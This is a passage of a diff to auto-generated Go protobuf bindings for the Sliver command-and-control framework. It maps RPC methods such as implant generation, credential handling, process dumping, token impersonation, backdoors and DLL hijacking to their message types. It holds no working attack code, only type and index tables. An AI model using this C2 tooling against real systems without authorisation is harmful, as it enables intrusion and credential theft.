(*clientpb.Users)(nil), // 121: clientpb.Users + (*sliverpb.Reconfigure)(nil), // 122: sliverpb.Reconfigure + (*clientpb.History)(nil), // 123: clientpb.History + (*clientpb.Sessions)(nil), // 124: clientpb.Sessions + (*clientpb.Beacons)(nil), // 125: clientpb.Beacons + (*clientpb.BeaconTasks)(nil), // 126: clientpb.BeaconTasks + (*commonpb.Response)(nil), // 127: commonpb.Response + (*clientpb.Jobs)(nil), // 128: clientpb.Jobs + (*clientpb.KillJob)(nil), // 129: clientpb.KillJob + (*clientpb.MTLSListener)(nil), // 130: clientpb.MTLSListener + (*clientpb.WGListener)(nil), // 131: clientpb.WGListener + (*clientpb.DNSListener)(nil), // 132: clientpb.DNSListener + (*clientpb.HTTPListener)(nil), // 133: clientpb.HTTPListener + (*clientpb.StagerListener)(nil), // 134: clientpb.StagerListener + (*clientpb.AllLoot)(nil), // 135: clientpb.AllLoot + (*clientpb.AllHosts)(nil), // 136: clientpb.AllHosts + (*clientpb.Generate)(nil), // 137: clientpb.Generate + (*clientpb.ExternalImplantConfig)(nil), // 138: clientpb.ExternalImplantConfig + (*clientpb.Builders)(nil), // 139: clientpb.Builders + (*clientpb.Crackstations)(nil), // 140: clientpb.Crackstations + (*clientpb.CrackFiles)(nil), // 141: clientpb.CrackFiles + (*clientpb.ImplantBuilds)(nil), // 142: clientpb.ImplantBuilds + (*clientpb.Canaries)(nil), // 143: clientpb.Canaries + (*clientpb.WGClientConfig)(nil), // 144: clientpb.WGClientConfig + (*clientpb.UniqueWGIP)(nil), // 145: clientpb.UniqueWGIP + (*clientpb.ImplantProfiles)(nil), // 146: clientpb.ImplantProfiles + (*clientpb.MsfStager)(nil), // 147: clientpb.MsfStager + (*clientpb.ShellcodeRDI)(nil), // 148: clientpb.ShellcodeRDI + (*clientpb.Compiler)(nil), // 149: clientpb.Compiler + (*clientpb.MetasploitCompiler)(nil), // 150: clientpb.MetasploitCompiler + (*clientpb.ShellcodeEncode)(nil), // 151: clientpb.ShellcodeEncode + (*clientpb.ShellcodeEncoderMap)(nil), // 152: clientpb.ShellcodeEncoderMap + (*clientpb.TrafficEncoderMap)(nil), // 153: clientpb.TrafficEncoderMap + (*clientpb.TrafficEncoderTests)(nil), // 154: clientpb.TrafficEncoderTests + (*clientpb.Websites)(nil), // 155: clientpb.Websites + (*sliverpb.Ps)(nil), // 156: sliverpb.Ps + (*sliverpb.Terminate)(nil), // 157: sliverpb.Terminate + (*sliverpb.Ifconfig)(nil), // 158: sliverpb.Ifconfig + (*sliverpb.Netstat)(nil), // 159: sliverpb.Netstat + (*sliverpb.Ls)(nil), // 160: sliverpb.Ls + (*sliverpb.Pwd)(nil), // 161: sliverpb.Pwd + (*sliverpb.Mv)(nil), // 162: sliverpb.Mv + (*sliverpb.Cp)(nil), // 163: sliverpb.Cp + (*sliverpb.Rm)(nil), // 164: sliverpb.Rm + (*sliverpb.Mkdir)(nil), // 165: sliverpb.Mkdir + (*sliverpb.Download)(nil), // 166: sliverpb.Download + (*sliverpb.Upload)(nil), // 167: sliverpb.Upload + (*sliverpb.Chmod)(nil), // 168: sliverpb.Chmod + (*sliverpb.Chown)(nil), // 169: sliverpb.Chown + (*sliverpb.Chtimes)(nil), // 170: sliverpb.Chtimes + (*sliverpb.MemfilesAdd)(nil), // 171: sliverpb.MemfilesAdd + (*sliverpb.MemfilesRm)(nil), // 172: sliverpb.MemfilesRm + (*sliverpb.ProcessDump)(nil), // 173: sliverpb.ProcessDump + (*sliverpb.RunAs)(nil), // 174: sliverpb.RunAs + (*sliverpb.Impersonate)(nil), // 175: sliverpb.Impersonate + (*sliverpb.RevToSelf)(nil), // 176: sliverpb.RevToSelf + (*sliverpb.GetSystem)(nil), // 177: sliverpb.GetSystem + (*sliverpb.Task)(nil), // 178: sliverpb.Task + (*sliverpb.ExecuteAssembly)(nil), // 179: sliverpb.ExecuteAssembly + (*sliverpb.Migrate)(nil), // 180: sliverpb.Migrate + (*sliverpb.Execute)(nil), // 181: sliverpb.Execute + (*sliverpb.Sideload)(nil), // 182: sliverpb.Sideload + (*sliverpb.SpawnDll)(nil), // 183: sliverpb.SpawnDll + (*sliverpb.Screenshot)(nil), // 184: sliverpb.Screenshot + (*sliverpb.CurrentTokenOwner)(nil), // 185: sliverpb.CurrentTokenOwner + (*sliverpb.PivotListener)(nil), // 186: sliverpb.PivotListener + (*sliverpb.PivotListeners)(nil), // 187: sliverpb.PivotListeners + (*clientpb.PivotGraph)(nil), // 188: clientpb.PivotGraph + (*sliverpb.ServiceInfo)(nil), // 189: sliverpb.ServiceInfo + (*sliverpb.MakeToken)(nil), // 190: sliverpb.MakeToken + (*sliverpb.EnvInfo)(nil), // 191: sliverpb.EnvInfo + (*sliverpb.SetEnv)(nil), // 192: sliverpb.SetEnv + (*sliverpb.UnsetEnv)(nil), // 193: sliverpb.UnsetEnv + (*clientpb.Backdoor)(nil), // 194: clientpb.Backdoor + (*sliverpb.RegistryRead)(nil), // 195: sliverpb.RegistryRead + (*sliverpb.RegistryWrite)(nil), // 196: sliverpb.RegistryWrite + (*sliverpb.RegistryCreateKey)(nil), // 197: sliverpb.RegistryCreateKey + (*sliverpb.RegistryDeleteKey)(nil), // 198: sliverpb.RegistryDeleteKey + (*sliverpb.RegistrySubKeyList)(nil), // 199: sliverpb.RegistrySubKeyList + (*sliverpb.RegistryValuesList)(nil), // 200: sliverpb.RegistryValuesList + (*sliverpb.SSHCommand)(nil), // 201: sliverpb.SSHCommand + (*clientpb.DllHijack)(nil), // 202: clientpb.DllHijack + (*sliverpb.GetPrivs)(nil), // 203: sliverpb.GetPrivs + (*sliverpb.RportFwdListener)(nil), // 204: sliverpb.RportFwdListener + (*sliverpb.RportFwdListeners)(nil), // 205: sliverpb.RportFwdListeners + (*sliverpb.RegisterExtension)(nil), // 206: sliverpb.RegisterExtension + (*sliverpb.CallExtension)(nil), // 207: sliverpb.CallExtension + (*sliverpb.ListExtensions)(nil), // 208: sliverpb.ListExtensions + (*sliverpb.RegisterWasmExtension)(nil), // 209: sliverpb.RegisterWasmExtension + (*sliverpb.ListWasmExtensions)(nil), // 210: sliverpb.ListWasmExtensions + (*sliverpb.ExecWasmExtension)(nil), // 211: sliverpb.ExecWasmExtension + (*sliverpb.WGPortForward)(nil), // 212: sliverpb.WGPortForward + (*sliverpb.WGSocks)(nil), // 213: sliverpb.WGSocks + (*sliverpb.WGTCPForwarders)(nil), // 214: sliverpb.WGTCPForwarders + (*sliverpb.WGSocksServers)(nil), // 215: sliverpb.WGSocksServers + (*sliverpb.Shell)(nil), // 216: sliverpb.Shell + (*sliverpb.Portfwd)(nil), // 217: sliverpb.Portfwd } var file_rpcpb_services_proto_depIdxs = []int32{ 0, // 0: rpcpb.SliverRPC.GetVersion:input_type -> commonpb.Empty - 1, // 1: rpcpb.SliverRPC.ClientLog:input_type -> clientpb.ClientLogData - 0, // 2: rpcpb.SliverRPC.GetOperators:input_type -> commonpb.Empty + 0, // 1: rpcpb.SliverRPC.GetUsers:input_type -> commonpb.Empty + 1, // 2: rpcpb.SliverRPC.ClientLog:input_type -> clientpb.ClientLogData 2, // 3: rpcpb.SliverRPC.Kill:input_type -> sliverpb.KillReq 3, // 4: rpcpb.SliverRPC.Reconfigure:input_type -> sliverpb.ReconfigureReq 4, // 5: rpcpb.SliverRPC.Rename:input_type -> clientpb.RenameReq - 0, // 6: rpcpb.SliverRPC.GetSessions:input_type -> commonpb.Empty - 0, // 7: rpcpb.SliverRPC.GetBeacons:input_type -> commonpb.Empty - 5, // 8: rpcpb.SliverRPC.GetBeacon:input_type -> clientpb.Beacon - 5, // 9: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon - 5, // 10: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon - 6, // 11: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask - 6, // 12: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask - 0, // 13: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty - 0, // 14: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty - 0, // 15: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty - 7, // 16: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq - 8, // 17: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq - 9, // 18: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq - 10, // 19: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq - 11, // 20: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq - 11, // 21: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq - 12, // 22: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq - 12, // 23: rpcpb.SliverRPC.StartHTTPStagerListener:input_type -> clientpb.StagerListenerReq - 13, // 24: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot - 13, // 25: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot - 13, // 26: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot - 13, // 27: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot - 0, // 28: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty - 0, // 29: rpcpb.SliverRPC.Creds:input_type -> commonpb.Empty - 14, // 30: rpcpb.SliverRPC.CredsAdd:input_type -> clientpb.Credentials - 14, // 31: rpcpb.SliverRPC.CredsRm:input_type -> clientpb.Credentials - 14, // 32: rpcpb.SliverRPC.CredsUpdate:input_type -> clientpb.Credentials - 15, // 33: rpcpb.SliverRPC.GetCredByID:input_type -> clientpb.Credential - 15, // 34: rpcpb.SliverRPC.GetCredsByHashType:input_type -> clientpb.Credential - 15, // 35: rpcpb.SliverRPC.GetPlaintextCredsByHashType:input_type -> clientpb.Credential - 15, // 36: rpcpb.SliverRPC.CredsSniffHashType:input_type -> clientpb.Credential - 0, // 37: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty - 16, // 38: rpcpb.SliverRPC.Host:input_type -> clientpb.Host - 16, // 39: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host - 17, // 40: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC - 18, // 41: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq - 19, // 42: rpcpb.SliverRPC.GenerateExternal:input_type -> clientpb.ExternalGenerateReq - 20, // 43: rpcpb.SliverRPC.GenerateExternalSaveBuild:input_type -> clientpb.ExternalImplantBinary - 21, // 44: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:input_type -> clientpb.ImplantConfig - 22, // 45: rpcpb.SliverRPC.BuilderRegister:input_type -> clientpb.Builder - 23, // 46: rpcpb.SliverRPC.BuilderTrigger:input_type -> clientpb.Event - 0, // 47: rpcpb.SliverRPC.Builders:input_type -> commonpb.Empty - 24, // 48: rpcpb.SliverRPC.CrackstationRegister:input_type -> clientpb.Crackstation - 23, // 49: rpcpb.SliverRPC.CrackstationTrigger:input_type -> clientpb.Event - 25, // 50: rpcpb.SliverRPC.CrackstationBenchmark:input_type -> clientpb.CrackBenchmark - 0, // 51: rpcpb.SliverRPC.Crackstations:input_type -> commonpb.Empty - 26, // 52: rpcpb.SliverRPC.CrackTaskByID:input_type -> clientpb.CrackTask - 26, // 53: rpcpb.SliverRPC.CrackTaskUpdate:input_type -> clientpb.CrackTask - 27, // 54: rpcpb.SliverRPC.CrackFilesList:input_type -> clientpb.CrackFile - 27, // 55: rpcpb.SliverRPC.CrackFileCreate:input_type -> clientpb.CrackFile - 28, // 56: rpcpb.SliverRPC.CrackFileChunkUpload:input_type -> clientpb.CrackFileChunk - 28, // 57: rpcpb.SliverRPC.CrackFileChunkDownload:input_type -> clientpb.CrackFileChunk - 27, // 58: rpcpb.SliverRPC.CrackFileComplete:input_type -> clientpb.CrackFile - 27, // 59: rpcpb.SliverRPC.CrackFileDelete:input_type -> clientpb.CrackFile - 29, // 60: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq - 0, // 61: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty - 30, // 62: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq - 0, // 63: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty - 0, // 64: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty - 0, // 65: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty - 0, // 66: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty - 30, // 67: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq - 31, // 68: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile - 32, // 69: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq - 33, // 70: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq - 0, // 71: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty - 34, // 72: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq - 0, // 73: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty - 0, // 74: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty - 35, // 75: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder - 35, // 76: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder - 0, // 77: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty - 36, // 78: rpcpb.SliverRPC.Website:input_type -> clientpb.Website - 36, // 79: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website - 37, // 80: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent - 37, // 81: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent - 38, // 82: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent - 39, // 83: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping - 40, // 84: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq - 41, // 85: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq - 42, // 86: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq - 43, // 87: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq - 44, // 88: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq - 45, // 89: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq - 46, // 90: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq - 47, // 91: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq - 48, // 92: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq - 49, // 93: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq - 50, // 94: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq - 51, // 95: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq - 52, // 96: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq - 53, // 97: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq - 54, // 98: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq - 55, // 99: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq - 56, // 100: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq - 57, // 101: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq - 58, // 102: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq - 59, // 103: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq - 60, // 104: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq - 61, // 105: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq - 62, // 106: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq - 63, // 107: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq - 64, // 108: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq - 65, // 109: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq - 66, // 110: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq - 67, // 111: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq - 68, // 112: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq - 69, // 113: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq - 70, // 114: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq - 71, // 115: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq - 72, // 116: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq - 73, // 117: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq - 74, // 118: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq - 75, // 119: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq - 76, // 120: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq - 77, // 121: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq - 0, // 122: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty - 78, // 123: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq - 79, // 124: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq - 80, // 125: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq - 81, // 126: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq - 82, // 127: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq - 83, // 128: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq - 84, // 129: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq - 85, // 130: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq - 86, // 131: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq - 87, // 132: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq - 88, // 133: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq - 89, // 134: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq - 90, // 135: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq - 91, // 136: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq - 92, // 137: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq - 93, // 138: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq - 94, // 139: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq - 95, // 140: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq - 96, // 141: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq - 97, // 142: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq - 98, // 143: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession - 99, // 144: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession - 100, // 145: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq - 101, // 146: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq - 102, // 147: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq - 103, // 148: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq - 104, // 149: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq - 105, // 150: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq - 106, // 151: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq - 107, // 152: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq - 108, // 153: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq - 109, // 154: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq - 110, // 155: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq - 111, // 156: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq - 112, // 157: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq - 113, // 158: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq - 114, // 159: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks - 114, // 160: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks - 115, // 161: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData - 116, // 162: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel - 116, // 163: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel - 117, // 164: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData - 0, // 165: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty - 118, // 166: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version - 0, // 167: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty - 119, // 168: rpcpb.SliverRPC.GetOperators:output_type -> clientpb.Operators - 0, // 169: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty - 120, // 170: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure - 0, // 171: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty - 121, // 172: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions - 122, // 173: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons - 5, // 174: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon - 0, // 175: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty - 123, // 176: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks - 6, // 177: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask - 6, // 178: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask - 124, // 179: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response - 0, // 180: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty - 125, // 181: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs - 126, // 182: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob - 127, // 183: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener - 128, // 184: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener - 129, // 185: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener - 130, // 186: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener - 130, // 187: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener - 131, // 188: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener - 131, // 189: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener - 13, // 190: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot - 0, // 191: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty - 13, // 192: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot - 13, // 193: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot - 132, // 194: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot - 14, // 195: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials - 0, // 196: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty - 0, // 197: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty - 0, // 198: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty - 15, // 199: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential - 14, // 200: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials - 14, // 201: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials - 15, // 202: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential - 133, // 203: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts - 16, // 204: rpcpb.SliverRPC.Host:output_type -> clientpb.Host - 0, // 205: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty - 0, // 206: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty - 134, // 207: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate - 135, // 208: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig - 0, // 209: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty - 135, // 210: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig - 23, // 211: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event - 0, // 212: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty - 136, // 213: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders - 23, // 214: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event - 0, // 215: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty - 0, // 216: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty - 137, // 217: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations - 26, // 218: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask - 0, // 219: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty - 138, // 220: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles - 27, // 221: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile - 0, // 222: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty - 28, // 223: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk - 0, // 224: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty - 0, // 225: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty - 134, // 226: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate - 139, // 227: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds - 0, // 228: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty - 140, // 229: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries - 141, // 230: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig - 142, // 231: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP - 143, // 232: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles - 0, // 233: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty - 31, // 234: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile - 144, // 235: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager - 145, // 236: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI - 146, // 237: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler - 147, // 238: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode - 148, // 239: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap - 149, // 240: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap - 150, // 241: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests - 0, // 242: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty - 151, // 243: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites - 36, // 244: rpcpb.SliverRPC.Website:output_type -> clientpb.Website - 0, // 245: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty - 36, // 246: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website - 36, // 247: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website - 36, // 248: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website - 39, // 249: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping - 152, // 250: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps - 153, // 251: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate - 154, // 252: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig - 155, // 253: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat - 156, // 254: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls - 157, // 255: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd - 157, // 256: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd - 158, // 257: rpcpb.SliverRPC.Mv:output_type -> 